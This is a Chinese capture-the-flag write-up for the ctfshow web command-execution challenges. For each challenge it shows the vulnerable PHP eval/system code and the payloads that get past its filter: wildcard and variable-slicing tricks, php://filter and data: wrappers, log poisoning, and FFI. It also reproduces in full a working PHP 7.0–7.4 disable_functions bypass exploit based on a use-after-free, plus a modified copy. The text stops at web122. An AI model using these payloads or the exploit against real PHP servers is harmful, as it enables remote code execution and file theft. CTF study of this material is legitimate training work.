ctfshow web


命令执行

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload

?c=system(ls);
?c=system('cat f?ag.php');//通配符直接绕

web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload

?c=echo `ls`;
?c=echo `cat f*`;//反引号内联执行

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload

?c=echo`ls`;
?c=echo%09`tac%09fla*`;//过滤了空格,但是可以用%09绕过
看hint感觉预期解应该是无参数的rce 
?c=readfile(array_rand(array_flip(scandir(current(localeconv())))));
?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php  //php的最后一行代码可以不用分号分行
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php//用短标签再写段php也一样

php伪协议通常用于文件包含中,php中文件包含的函数有很多,比如 include include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile

还可以用data伪协议

data伪协议就是把一些体量比较小的数据直接嵌入在页面里,而不使用外部链接。data:text/plain是嵌入文本

image-20220424163928570

payload

get传参
?c=include%0a$_POST[1]?>
post内容
1=data:text/plain,<?php system('cat flag*');

官方payload

c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php//感觉中间这个nice没啥用

web33

同32

web34

同32

web35

同32

web36

同32,就是注意不要用数字当参数名

web37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

直接data伪协议读取

payload

?c=data:text/plain,<?php system('cat fla*');

web38

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

data伪协议加短标签

?c=data:text/plain,<?=system('cat fla*');

至于利用日志文件的部分,不知道为什么只有用短标签的时候才能成功

首先用bp避免箭头符号的转义(这里也是只有作为c的值且用短标签的时候才会不转义,web37也一样

image-20220424172239712

然后利用文件包含访问nginx的日志文件/var/log/nginx/access.log

image-20220424172302924

web39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

尖括号闭合掉后面的.php就行了

payload

?c=data:text/plain,<?php system('cat fla*');?>

web40

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

payload

可以用无参数rce,因为这里过滤的是中文的括号

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

或者利用session,但是

利用session_id()让php读取我们设置的cookie(session默认不使用所以加了session_start()让php开始使用session)
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的

所以题目环境能做到的也就只有个ls和whoami之类的命令

image-20220424175319501

image-20220424175412309

本来还可以利用base64,但是题目把数字也过滤了,不能进行解码,只能用本地环境复现了

我这里直接贴了其他师傅的图片了

在这里插入图片描述

在这里插入图片描述

还有一种姿势

get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。
next() 返回数组中的下一个元素的值。

image-20220424180340722

我们用current()可以获取到GET数组,用next()可以获取到POST数组,然后用array_pop()取出POST数组里面的元素,最后用eval执行

image-20220424180605396

image-20220424180751358

image-20220424180829456

web41

或运算绕过,直接用羽师傅的脚本也行。

不过要是直接输payload要在bp里,应该是hackbar的编码有点问题

image-20220424182050495

web42

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  system($c." >/dev/null 2>&1");
}else{
  highlight_file(__FILE__);
}

> 代表重定向到哪里
/dev/null 代表空设备文件
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null
因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1

本题语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

补充:
0表示键盘输入,1表示屏幕输出,2表示错误输出!
‘ > ’ 默认标准输出重定向,与1>相同
2>&1 意思是把标准错误输出重定向到标准输出
&>file 意思是把标准输出和标准错误输出都重定向到文件file中

利用%0a换行把它换下去或者其他的语句来截断

?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;

web43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload基本上和42的一样,就是把cat换成uniq,tac,nl之类的

web44

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

flag也被过滤了,那就在web43的基础上加上通配符

web45

空格也被过滤了

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_matchd("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

用${IFS}替代空格

c=nl${IFS}f*||

web46-51

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

用<或<>代替空格,用‘’截断flag关键字

c=nl<>fla''g.php||

web47

和46一样的

nl<>fla''g.php||

web48

同46

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 
file -f:报错出具体内容 
grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file
strings

web49

同46

这个也行

?c=nl%09fl""ag.php%0a

web50

同46

web51

同46

web52

过滤了大于小于,但是没过滤$符

?c=nl${IFS}fla''g.php||

web53

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

payload

?c=nl${IFS}fla''g.php

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

payload

?c=/bin/ca?${IFS}f???????

通配符绕过

web55

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

payload1

利用base64命令和通配符

c=/???/????64 ????.???

payload2

p牛是真的厉害

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=1#reply-list

直接利用p牛博客里的这个

image-20220430174531949

然后cat flag.php

image-20220430174552316

有几率不成功,因为临时文件的文件名是随机的,如果没成功就是没大写,多试几次就行了

web56

image-20220430175025474

另外这里如果是eval函数,那执行时还要加上?><?=

payload为

?><?=`. /???/????????[@-[]`;?>

原因是eval()函数相当于执行php的代码,而<?= 就相当于<?php echo 在PHP7以上不管short_open_tag配置是不是开启的。都可以使用。所以就相当于一个新的PHP文件,这样的话就需要将最开始前面的<?php给闭合,不然不会执行。

web57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

${_}:代表上一次命令执行的结果
$(()): 做运算

之前没有命令返回或者执行,结果应该是空,与""等价
$((""))值为0,$((~$((""))))值为-1,再做拼接:

payload

$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

web58-65

有一堆禁用函数

print_r(scandir('.'));或者print_r(glob("*"));读目录

扫目录找flag位置
print_r(scandir('./'));
$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
var_dump(scandir("/"));
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

image-20220430181502718

image-20220430182020777

c=print_r(file_get_contents('flag.php'));或者readfile或者show_source或者highlight_file读文件

还可以更骚一点

POST c=include($_GET['url']);

GET /?url=php://filter/read=convert.base64-encode/resource=flag.php

附一点读文件的方式

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);//print_r(fread(fopen("flag.php","r"), filesize("flag.php")));
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码  伪协议读源码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行$a=fopen("flag.php","r");while (!feof($a)) {$line =    fgets($a);echo $line;}
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));//fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));//c=$a=fopen("flag.php","r");while (!feof($a)) {print_r(fscanf($a,"%s"));};
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

web59

file_get_contents和readfile没了,可以用其他俩

web60-65

同web58,差不多就那几个函数,用show_source能全过

web66

c=print_r(scandir('/'));highlight_file("/flag.txt");

image-20220430204318885

web67

print_r禁了

用var_dump

c=var_dump(scandir('/'));highlight_file("/flag.txt");

web68

c=var_dump(scandir('/'));include("/flag.txt")

看根目录,然后直接include包含

image-20220430211411455

web69

var_dump也没了,但是还有var_export

c=var_export(scandir('/'));include("/flag.txt");

y4师傅还有一个用php的原生类遍历目录的骚操作

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

然后包含这个我文件

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web70

同69

web71

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>


ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃

要用exit();使程序提前退出,绕过后面的正则表达式

c=var_export(scandir('/'));include("/flag.txt");exit();

image-20220430220313035

web72

scandir被禁用了

用y4师傅的那个原生类来查目录,但是文件没有权限被包含

y4师傅推荐的脚本

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}
pwn("cat /flag0.txt");ob_end_flush();

//上边这个脚本过不了的原因是题目环境禁用了str_repeat,所以手动重复79个A就行了

群主给的

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

web73-74

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}include('/flagc.txt');exit();

Web75-76

读目录,发现flag36.txt,但是不能包含,uaf失败

用mysql的load_file读取文件

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-getMessage();exit(0);}exit(0);

感觉。。。正常应该是不会这样的 ,没用户名和密码怎么读

web77

利用FFI,php7.4以上才有

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
这里因为不能回显,所以利用重定向将readflag内容输出到其他地方
$ffi->system($a);//通过$ffi去调用system函数

https://www.php.net/manual/zh/ffi.cdef.php

https://www.php.cn/php-weizijiaocheng-415807.html

实话实话没太看懂

c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();  

打完payload访问一下1.txt就能拿到flag

后边的题感觉有点玄幻了,就单纯的记一下方法

web118

源码里有system($code);但是有waf

!preg_match('/\x09|\x0a|[a-z]|[0-9]|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/'

利用bash内置变量来rce

image-20220430231046010

${PATH:~A}${PWD:~A}$IFS????.???
# echo ${PWD} 
/root

# echo ${PWD:0:1}      #表示从0下标开始的第一个字符
/           

# echo ${PWD:~0:1}      #从结尾开始往前的第一个字符
t

# echo ${PWD:~0}      
t

# echo ${PWD:~A}       #所以字母和0具有同样作用             
t

# echo ${PATH}                            
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
//利用系统变量构造nl命令
${PATH:~A}${PWD:~A}$IFS????.???

${PATH:~A}${PWD:~A}是nl

或者

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
SHLVL`是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时`${SHLVL}=1`,然后在此shell中再打开一个shell时`${SHLVL}=2`。
`${PWD:${#}:${SHLVL}}`就输出`/
${#}是0,${SHLVL}为1`
`${#PWD}是回显字符数,${PWD} 是/root,${#PWD}是5

web119

禁用了${PATH

image-20220430232002769

${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}}    ====>   /


${SHLVL}       //一般是一个个位数
${#SHLVL}     //1,表示结果的字符长度
${PWD:${#}:${#SHLVL}}       //表示/
${USER}        //www-data
${PHP_VERSION:~A}       //2
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}         //at


/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

payload

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

或者

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

web121


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

相比上一题,多过滤了一个SHLVL,那就用#?代替

payload

${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

相当于

/bin/bash64 flag.php

或者

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev

web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
